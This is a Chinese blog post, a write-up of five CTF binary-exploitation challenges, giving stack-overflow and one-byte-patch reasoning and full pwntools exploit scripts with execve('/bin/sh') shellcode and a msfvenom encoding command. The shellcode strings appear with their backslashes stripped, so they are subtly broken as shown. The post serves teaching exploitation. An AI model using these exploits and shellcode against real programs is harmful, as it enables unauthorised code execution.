zoukankan      html  css  js  c++  java
  • pwn入门系列习题解析(二)

    第一题--BITSCTF 2017-Command_Line

    查看文件格式以及开启的保护措施,此处全保护均未开启(默认开启ASLR),且为64位ELF。

     

    尝试运行,发现打印出一处地址(基本不用考虑ASLR了),猜测为栈某处地址

     

    放入ida观察逻辑,发现的确打印了栈上的一个地址,可以直接用。此处可以顺便探测一下偏移,0x10+8=0x18,输入0x18个字符后即可覆盖ret。只要注意shellcode位于泄露的栈地址后的0x20处(0x18+8=0x20)。至于shellcode直接从网上找就可以了,一个不行多试试别的(我第一个不行,换了一个就好了)。

     

    完整exp如下:

     1 #!/usr/bin/python
     2 #coding:utf-8
     3 
     4 from pwn import *
     5 io = process('./pwn1')
     6 
     7 shellcode = 'x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05'
     8 
     9 shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20
    10 log.info("Leak stack address = %x", shellcode_address_at_stack)
    11 
    12 payload = "x90"*24
    13 payload += p64(shellcode_address_at_stack)
    14 payload += shellcode
    15 io.sendline(payload)
    16 io.interactive()

    第二题—BSides San Francisco CTF 2017-b_64_b_tuff

    查看文件格式和保护,发现32位ELF文件,开了NX保护,即数据段不可执行。

     

    尝试运行,发现打印出了栈顶的地址,其次会要求我们输入,我们看到他会计算我们输入的字符个数,接着会发现一个貌似是base64的加密(特征“==”结尾)。且发生栈溢出。

     

    我们放入ida观察程序逻辑。重点关注后4个语句。首先将输入的字符串进行base64加密,然后打印出加密的base64码,接着会运行他。那么现在目的明确,我们需要输入一串字符串,满足base64加密后为可执行的shellcode即可。

     

    这里推荐msfvenom工具

    首先,我们需要一个编码器,只需要大小写都满足的混合代码就可以,用msfvenom -l encoders来查看编码器。

     

    编码器还是很多的,我们就选择x86/alpha_mixed就行。

    由于msfvenom的输入只能从stdin读取,因此我们用管道符通过python输入给他

    python -c 'import sys; sys.stdout.write("x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux -o payload

    完整exp如下:

     1 #!/usr/bin/python
     2 #coding:utf-8
     3 
     4 from pwn import *
     5 from base64 import *
     6 
     7 io = process('./b-64-b-tuff')
     8 
     9 shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
    10 
    11 print io.recv()
    12 io.send(shellcode)    
    13 print io.recv()        
    14 io.interactive()

    第三题--CSAW Quals CTF 2017-pilot

    查看文件格式和开启保护情况,全保护未开启,64位ELF,考虑执行shellcode

    观察程序执行情况,比较有用的信息是打印出的一个地址,别的好像都是废话。

     

    我们把它放入ida观察一下逻辑

     

    这么多std库的调用,应该是c++的代码,我们忽略掉多余信息,关注read函数,发现他向buf数组中输入了0x40个字符,而buf位于rbp-0x20处,这里明显存在栈溢出。

     

    那么我们现在的思路就是溢出ret制造栈溢出。

    但是我这里直接正常溢出覆盖返回值执行shellcode会出错,我在main函数返回时的ret下断点,跟进调试

     

    我们发现,当执行完push rbx后,函数返回值会被覆盖掉,我们接着执行

    上图是push rdi执行后,原本的shellcode最后一行也被替换掉了,由于我们暂时找不到比较短的shellcode,  因此我们需要对shellcode进行截断改造。

    我们通过之前的调试可以发现,执行完push rdi后会破坏ret之前共24个字节(3*8)的栈空间数据。再则,我们read可控的输入为0x40,buf到rbp的距离为0x20,因此ret后的栈空间还有0x60-0x20-8-8=0x10,即16字节数据可控。而通过打开ida显示字节码的功能后,可以看出push rdi后shellcode还剩下8字节未执行,ret后的栈空间足够我们控制。

     

    我们使用上述jmp跳转指令,可以看到它的字节码为EB 05(注意jmp跳转的距离是从该语句的下一条语句地址算,因此为0x34-0x2f=0x05)。这里注意到我们前面可以输入的shellcode未被覆盖部分为前24个字节,又考虑到需要留给jmp跳转语句两个字节(EB 18)

    我们只要先传22字节的shellcode,再传2字节的EB 18进行跳转,再接上剩下8字节的shellcode,即可得到shell。

    完整exp如下:

     1 #!/usr/bin/python
     2 #coding:utf-8
     3 
     4 from pwn import *
     5 
     6 io = process('./pilot')
     7 
     8 shellcode1 = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50"
     9 shellcode1 += "xebx18"
    10 shellcode2 = "x57x48x89xe6xb0x3bx0fx05"
    11 print io.recvuntil("Location:")
    12 shellcode_address_at_stack = int(io.recv()[0:14], 16)
    13 log.info("Leak stack address = %x", shellcode_address_at_stack)
    14 
    15 payload = ""                        
    16 payload += shellcode1
    17 payload += "x90"*(0x28-len(shellcode1))
    18 payload += p64(shellcode_address_at_stack)
    19 payload += shellcode2
    20 
    21 io.send(payload)
    22 io.interactive()

    第四题--Openctf 2016-apprentice_www

    老规矩,查看文件格式和保护开启情况,可以看到开启了NX保护,为32位程序。

     

    尝试运行程序,发现程序要求我们输入,输入后提示栈溢出且把我们的输入当作命令执行(怀疑),感觉可以利用

     

    扔入ida分析一波,发现main函数很简单,刷新缓冲区和alarm简单的反调试,主要关注一下setup函数和butterflyswag函数。

     

     

    我们发现在setup中调用了mprotect函数设置内存页属性,相当于设置了.bss,.data和.text可读可写可执行。接着进入下一个函数观察,发现有两个输入,第一个输入v1是一个单字节变量,第二个输入v2为一个地址,它会将v1的值写入我们输入的地址处,将地址的最低位给替换掉,由于只能修改一个字节,导致我们不能get shell,我们需要想办法通过一个字节的修改来扩大可控范围。

    我们的想法是通过覆盖0x080485db处的jnz语句,使得其跳转回头继续执行两次scanf。

     

    这里需要注意一下,由于我们只能修改最后一个字节,因此此处通过计算得到(0x9d-0xdb=0xffc2),此处计算出为负值可以直接使用。注意我们在这里修改后每次执行到这里都会返回前两个scanf,我们可以借这个条件完成所有shellcode的输入(分次输入)。这里我们可以选择for循环,限制条件为shellcode长度。记住for循环执行完后我们需要将跳转语句修改为shellcode所在地址,然后过滤掉所有多余字符串即可开启shell。

    完整exp如下:

     1 #!/usr/bin/python
     2 #coding:utf-8
     3 
     4 from pwn import *
     5 
     6 io = process('./apprentice_www')
     7 
     8 patch_jne_address = 0x080485da        #jnz loc_80485E9所在地址
     9 shellcode_address = 0x080485db        #shellcode放置的地址
    10 
    11 shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"
    12 
    13 io.sendline(str(patch_jne_address))
    14 io.sendline(str(0xc2))                #将jnz loc_80485E9改成jnz loc_804859D,重复执行两个call __isoc99_scanf读取shellcode
    15 
    16 for i in xrange(len(shellcode)):            #逐字节写入shellcode到jnz loc_80485E9指令后面
    17     io.sendline(str(shellcode_address+i))
    18     io.sendline(str(ord(shellcode[i])))
    19 
    20 io.sendline(str(patch_jne_address))
    21 io.sendline(str(0x00))                #写完shellcode后改为jnz loc_80485DB,执行shellcode
    22 
    23 io.recv()
    24 io.interactive()

    第五题--Openctf 2016-tyro_shellcode1

    老方法走一遭,发现这次保护开的比较多啊,从保护上看貌似不能执行shellcode而且开了canary保护,栈溢出也被限制了。

     

    放入ida瞧一瞧,从逻辑上瞧一瞧。发现mmap一个内存块,然后read输入也在这块内存块上,下面竟然把我们的输入直接执行了,这下简单了,只需要输入shellcode就拿到shell

     

    这里有个注意点,read调用的输入函数,我们在交互的时候可以直接使用send,而不需要sendline,这样可以省下一个字节的空间,对于有些对栈空间要求严格题目可能有奇效。

    完整exp如下:

     1 #!/usr/bin/python
     2 #coding:utf-8
     3 
     4 from pwn import *
     5 
     6 io = process('./tyro_shellcode1')
     7 
     8 shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
     9 
    10 io.sendline(shellcode)
    11 io.interactive()
  • 相关阅读:
    LeetCode70.爬楼梯
    LeetCode9.回文数
    LeetCode8.字符串转整数(atoi)
    LeetCode7.反转整数
    Docker深入浅出3-镜像管理
    Docker深入浅出3-容器管理
    Docker深入浅出2
    Docker深入浅出1
    Docker启动mysql的坑2
    各种常见兼容代码
  • 原文地址:https://www.cnblogs.com/xingzherufeng/p/9839281.html
Copyright © 2011-2022 走看看